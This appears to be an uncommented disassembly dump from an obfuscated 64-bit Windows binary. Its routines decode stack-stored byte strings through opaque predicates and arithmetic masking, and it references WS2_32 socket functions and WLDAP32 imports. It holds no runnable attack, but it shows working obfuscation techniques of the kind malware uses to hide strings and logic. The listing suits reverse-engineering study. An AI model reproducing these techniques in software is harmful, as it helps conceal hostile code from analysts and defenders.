jmp 0x140072bf2
movabs rdx, 0x4c9c07e9fb0ffd58
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x1400736ec
movabs rdx, 0xe425e6c10ba88184
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1400736a3
movabs rdx, 0x7bafc5981c4105b0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140072bf2
movabs rcx, 0x1339a46f2cd989dc
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 4
jmp 0x1400738c1
movabs rdx, 0xaac383463d720e08
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x38
jmp 0x140073871
movabs rcx, 0x424d621d4e0a9234
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6c
dec rbx
inc rbx
jmp 0x140072bf2
movabs rdx, 0xd9d740f45ea31660
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x140072bf2
movabs rdx, 0x71611fcb6f3b9a8c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400737ea
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140073391
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x66
jmp 0x1400731b0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400733d4
movabs rdx, 0x91b0b85ba37d2864
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140072bf2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140073406
movabs rdx, 0xfa26d98492e4a438
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400736ec
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140073438
movabs rdx, 0x33893cff611b17b4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400738c1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400731b3
movabs rdx, 0x4757f513fea0f5c
mov ecx, 0x3e
jmp 0x140073831
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073487
movabs rdx, 0x5a891489753bbc96
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1a
jmp 0x1400737ea
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400734b5
movabs rdx, 0x93eb780443723012
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7e
jmp 0x140073871
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400734f3
movabs rcx, 0x64d7ba56224127ba
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x16
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140072bf2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007315c
movabs rdx, 0xcd4ddb7f11a8a38e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x1400736a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140073553
movabs rcx, 0x236170b746fa50c8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x78
movzx eax, byte [rbp + rbx + 0xa90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140072bf2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140073581
movabs rdx, 0xf44db30925c94870
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
jmp 0x1400736b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400735b3
movabs rdx, 0xc539f55b04984018
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400738c1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140073108
movabs rcx, 0x2db01683f3ffbbec
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
jmp 0x140073874
movabs rdx, 0x37febc50a1052710
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0xa90]
sub r11b, al
sub r11b, 0x70
add r11b, dl
add r11b, r10b
jmp 0x140073874
movabs rcx, 0xa074dd79906ca2e4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x3c]
jmp 0x1400736b8
movabs rdx, 0x74ff869e3c61eea6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140072bf2
movabs rdx, 0xc8965754cfa72d2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400736ec
movabs rdx, 0xa413444c5d92f6fe
mov ecx, 7
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0x54afee0e082060ce
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xa90], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x8eafea27fd41eb8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 8
add r10b, cl
mov byte [rbp + rbx + 0xa90], r10b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140072bf2
movabs rcx, 0x3b9d23236e2b7b2a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x26
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140072bf2
movabs rdx, 0x23abfa89ff507ae
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140072bf2
movabs rdx, 0x99c49e7fb08d8bda
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x140072bf2
movabs rdx, 0x314e7d56c1261006
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2a
add r11b, dl
movabs rcx, 0x83c3abbc29516926
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0xa
add r10b, cl
mov byte [rbp + rbx + 0xa90], r10b
inc r9
dec rbx
inc rbx
jmp 0x140072bf2
movabs rdx, 0x8f75f8b3038820b6
mov ecx, 3
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x140072bf2
movabs rdx, 0x26ffd78a1420a4e2
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2e
add r11b, dl
movabs rdx, 0xec39cce518b8e4fa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xa90], cl
jmp 0x1400738c1
movabs rcx, 0xbe89b66124b9290e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x62
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140072bf2
movabs rcx, 0x1cb131bd671b39be
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x32
movzx eax, byte [rbp + rbx + 0xa90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140072bf2
movabs rdx, 0xa2af9d223061aa92
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140072bf0
movabs rcx, 0x3a397bf940fa2ebe
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x32
jmp 0x140072be0
lea rcx, [rbp + 0x143a3c8]
jmp 0x140073974
lea rcx, [rbp + 0x7761b2]
jmp 0x140073974
lea rcx, [rbp + 0xa90]
xor edx, edx
call fcn.14003e2d0
mov byte [rbp + 0xab8], Ordinal_79
mov byte [rbp + 0xab9], 0xa4
mov byte [rbp + 0xaba], 0xbf
mov byte [rbp + 0xabb], 0xa5
mov byte [rbp + 0xabc], 0xbb
mov byte [rbp + 0xabd], 0xb5
mov byte [rbp + 0xabe], reloc.WLDAP32.dll_Ordinal_22
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xabf], xmm0
mov qword [rbp + 0xacf], rax
mov dword [rbp + 0xad7], eax
movabs rdi, 0xdc0037be9ebf5d72
movabs rsi, 0xc893ba1e7c47fcce
movabs r15, 0x476db982fb5e722a
movabs r14, 0x39b84718858b187a
movabs r12, 0xaadcd4128ece3426
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400746ce
movzx r10d, byte [rbp + rbx + 0xab8]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400746c5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140073a5c
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
sub r11b, 0x26
jmp 0x140073a96
je 0x14007463a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007459c
lea rax, [r9 + 5]
cmp r8, rax
je 0x140074560
lea rax, [r9 + 2]
cmp r8, rax
je 0x140074536
lea rax, [r9 + 4]
cmp r8, rax
je 0x140074504
cmp r9, rbx
ja 0x1400746bc
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140073ac7
lea rdx, [rbx + rdi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1e
add r11b, dl
jmp 0x140073b20
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400744b0
lea rax, [r9 + 2]
cmp r8, rax
je 0x140074485
lea rax, [r9 + 4]
cmp r8, rax
je 0x140074471
lea rax, [r9 + 6]
cmp r8, rax
je 0x140074438
lea rax, [r9 + 3]
cmp r8, rax
je 0x140074414
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400743da
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140074001
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x140073fdd
lea rax, [r9 + 8]
cmp r8, rax
je 0x140073fc9
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140073f9a
lea rax, [r9 + 4]
cmp r8, rax
je 0x140073f76
lea rax, [r9 + 6]
cmp r8, rax
je 0x140073f62
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140073f29
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140073f05
mov r8, rax
lea r9, [rax + 0x1000]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140074697
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007466e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140073cbd
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140073c9e
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140073c7e
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140073ea1
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140073e10
mov r8, rax
lea r9, [rax + 0x1000]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140073dd6
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140073dad
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140073d89
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140073d54
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140073d2b
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140073d06
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140073cdb
mov r8, rax
lea r9, [rax + 0x1000]
jmp 0x140073b30
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140073b20
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x56
add r11b, dl
jmp 0x140073a96
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0xa
add r11b, dl
jmp 0x140073a25
movabs rcx, 0xc24ad7e9088122e8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x58
dec rbx
inc rbx
jmp 0x140073a12
movabs rdx, 0x336f64e311c43e94
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
jmp 0x140074381
movabs rdx, 0xa493f1dd1b075a40
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140074584
movabs rcx, 0x15b87ed7244a75ec
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x74
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073a12
movabs rcx, 0x86dd0bd12d8d9198
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400745bd
movabs rdx, 0xf80198cb36d0ad44
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400745f1
movabs rdx, 0x692625c54013c8f0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xab8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073a12
movabs rdx, 0xe64aa02a69c1c576
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3a
add r11b, dl
cmp r8, 4
jae 0x140074359
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14007423a
movabs rdx, 0xe1256bf484409174
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
cmp r9, 4
jb 0x140074349
movabs rdx, 0x75b7ea3027a17cbc
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x48]
jmp 0x1400744cf
movabs rdx, 0x576f2d247304e122
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400743b4
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14007412c
movabs rdx, 0x5253435e5813402
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xe
jmp 0x140073e30
movabs rcx, 0xa4a686bcb026804
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
jmp 0x1400745bd
movabs rdx, 0x7b6ef565d44583b0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073a12
movabs rdx, 0xec93825fdd889f5c
mov ecx, 0x3e
jmp 0x14007456f
movabs rcx, 0x5db80f59e6cbbb08
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x140074384
movabs rdx, 0xcedc9c53f00ed6b4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140073a12
movabs rdx, 0x4001294df951f260
mov ecx, Ordinal_50
jmp 0x140074513
movabs rcx, 0xb125b64802950e0c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
jmp 0x1400744cf
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140074029
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x26
add r11b, dl
jmp 0x140073ec5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140074068
movabs rcx, 0xb8006f7d3d7ebae4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3c
movzx eax, byte [rbp + rbx + 0xab8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073a12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007409a
movabs rdx, 0xd5b755892af8838c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400745bd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400740c8
movabs rcx, 0xf36e3b9518724c34
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6c
jmp 0x140074584
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400740f4
movabs rdx, 0x8249ae9b0f2f3088
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14007437e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140073ec5
movabs rcx, 0x112521a105ec14dc
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 4
dec rbx
inc rbx
jmp 0x140073a12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007415d
movabs rdx, 0x9400a73bdc3e1856
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5a
add r11b, dl
jmp 0x1400744cf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140074195
movabs rdx, 0xb1b78d47c9b7e0fe
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x140073a12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400741c3
movabs rdx, 0x4093004dc074c552
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3e
jmp 0x140074381
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140074205
movabs rdx, 0x5e49e659adee8dfa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073a12
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140073e33
movabs rdx, 0xed25595fa4ab724e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x22
add r11b, dl
jmp 0x1400745bd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140074279
movabs rcx, 0x7000defa7afd75c8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x78
movzx eax, byte [rbp + rbx + 0xab8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073a12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400742aa
movabs rdx, 0x8db7c50668773e70
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x1400745bd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400742e8
movabs rcx, 0x1c93380c5f3422c4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5c
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073a12
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140074311
movabs rdx, 0x3a4a1e184cadeb6c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14007437e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140073e6d
movabs rcx, 0xc925911e436acfc0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
dec rbx
inc rbx
jmp 0x140073a12
mov byte [rbp + rbx + 0xab8], r11b
inc rbx
jmp 0x140073a12
movabs rdx, 0x4935d361e5e6110
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0xab8]
sub r11b, al
sub r11b, 0x70
add r11b, r10b
add r11b, dl
movabs rdx, 0x4c0116b919bcd33a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xab8], cl
jmp 0x140074584
movabs rdx, 0x936ed03c151b4564
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400745bd
movabs rdx, 0xe1b742f44b636466
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xab8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073a12
movabs rcx, 0xc4005ce85de99bbe
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
jmp 0x1400745bd
movabs rdx, 0x3524e9e2672cb76a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073a12
movabs rdx, 0xa64976dc706fd316
mov ecx, 0x33
jmp 0x14007456f
movabs rcx, 0x889290d082f60a6e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 2
dec rbx
inc rbx
jmp 0x140073a12
movabs rcx, 0x6adbaac4957c41c6
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6a
movabs rcx, 0xbd25a3b322ffeee6
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x4a
add r10b, cl
mov byte [rbp + rbx + 0xab8], r10b
inc r9
dec rbx
inc rbx
jmp 0x140073a12
movabs rdx, 0xbe4951b2b14594ca
mov ecx, 0x3d
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x140073a12
movabs rcx, 0x2f6ddeacba88b076
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3a
dec rbx
inc rbx
jmp 0x140073a12
movabs rdx, 0x11b6f8a0cd0ee7ce
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140073a12
mov r10, rdx
movabs rcx, 0xf4001294df951f26
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0xa
movabs rdx, 0xdadc89bf1079b78e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xab8], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x224a43420bd829b8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 8
add r10b, cl
mov byte [rbp + rbx + 0xab8], r10b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xab8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073a12
movabs rcx, 0xd6492c88f21b567e
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x72
movzx eax, byte [rbp + rbx + 0xab8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140073a12
movabs rdx, 0x1c01610c98114fd2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140073a10
movabs rcx, 0x8d25ee06a1546b7e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x72
jmp 0x140073a00
lea rcx, [rbp + 0x174bef0]
jmp 0x1400746d5
lea rcx, [rbp + 0x53311a]
jmp 0x1400746d5
lea rcx, [rbp + 0xab8]
xor r8d, r8d
xor edx, edx
call fcn.14003ff90
test al, al
je 0x14008ba3f
lea rcx, str.General
call fcn.140035f00
lea rdx, [0x14021ac90]
lea rcx, [rbp + 0x460]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7d0
mov r14, rax
mov byte [rbp + 0xae0], WSAGetLastError
mov byte [rbp + 0xae1], reloc.WS2_32.dll_socket
mov byte [rbp + 0xae2], 3
mov byte [rbp + 0xae3], reloc.WS2_32.dll_listen
mov byte [rbp + 0xae4], 6
mov byte [rbp + 0xae5], 2
mov byte [rbp + 0xae6], 0x48
mov byte [rbp + 0xae7], 0x68
mov byte [rbp + 0xae8], 1
mov byte [rbp + 0xae9], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xaea], 0xa
mov byte [rbp + 0xaeb], 2
mov byte [rbp + 0xaec], 6
mov byte [rbp + 0xaed], 0xb1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xaee], xmm0
mov dword [rbp + 0xafe], eax
mov byte [rbp + 0xb02], al
movabs r15, 0x486991f776d7ca29
movabs r12, 0xa7a4877f2be14b6d
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor esi, esi
movabs rcx, 0xa1eca56d4ecd52c5
movabs rdx, 0x7cddb1679e07d98b
movabs rdi, 0xf52b1bb262d28e77
